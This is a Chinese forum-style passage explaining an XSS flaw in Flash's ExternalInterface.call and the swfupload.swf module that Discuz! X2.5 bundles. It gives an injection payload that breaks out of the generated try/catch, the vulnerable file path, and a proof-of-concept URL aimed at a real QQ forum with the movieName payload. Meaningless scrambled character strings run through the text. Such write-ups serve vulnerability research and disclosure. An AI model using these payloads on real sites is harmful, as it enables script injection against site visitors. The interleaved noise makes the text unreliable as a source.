上回我们说4 G; Y3 z. r; w6 [
( H9 z+ K/ i4 B/ J0 G/ \
flash.external.ExternalInterface.call($methodName, $parameter)
& ]; m3 W7 ]! ?在浏览器中执行的是
! g' X7 q' h' E7 O( V4 h! b; a' _/ F0 j- D5 Q" [
try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
: O/ p" n. U8 v6 u4 d对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
8 m9 o) Q: t K% { F
' z h& J2 O% S+ R. [' M$ E* Iflash.external.ExternalInterface.call("object."+$methodName, $parameter)
# N; J* r0 s# d0 H; k2 u5 o7 l$ v$methodName = a())}catch(e){alert(/xss/)}//8 Z1 |( ^) I: b$ ~3 h' ^
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。- N4 `; c8 U) {) }
, w' f8 j% {" M6 N, V) Htry { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }3 T, K3 o, V+ H3 U* i f
8 ?( T# @/ {1 A* E) N+ R" W这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )' f. R- d8 p9 e
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。% Q" Y/ `. d" C$ E6 @- G
$ _7 {6 p' n* b. {, {1 g1 x2 T7 [% k$ K
. ?' _) z- {1 I, a% z( [
7 T- B6 y9 H7 s5 V1 T
漏洞文件:upload\static\image\common\swfupload.swf- y4 S" p( J9 z l1 B _
: u9 [6 s# g$ ~% ?5 C
原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf
7 O% V2 z B* W" [& i2 ?& n' D. t; ` i8 T; L! R2 q
, F, z* p) F% y9 s6 Y漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
8 j# A$ [8 n& g- _7 |* \! H2 I; y7 p( d8 h/ ^) E6 c5 N+ a
/ T% S/ |" s# G! M2 u3 e: s |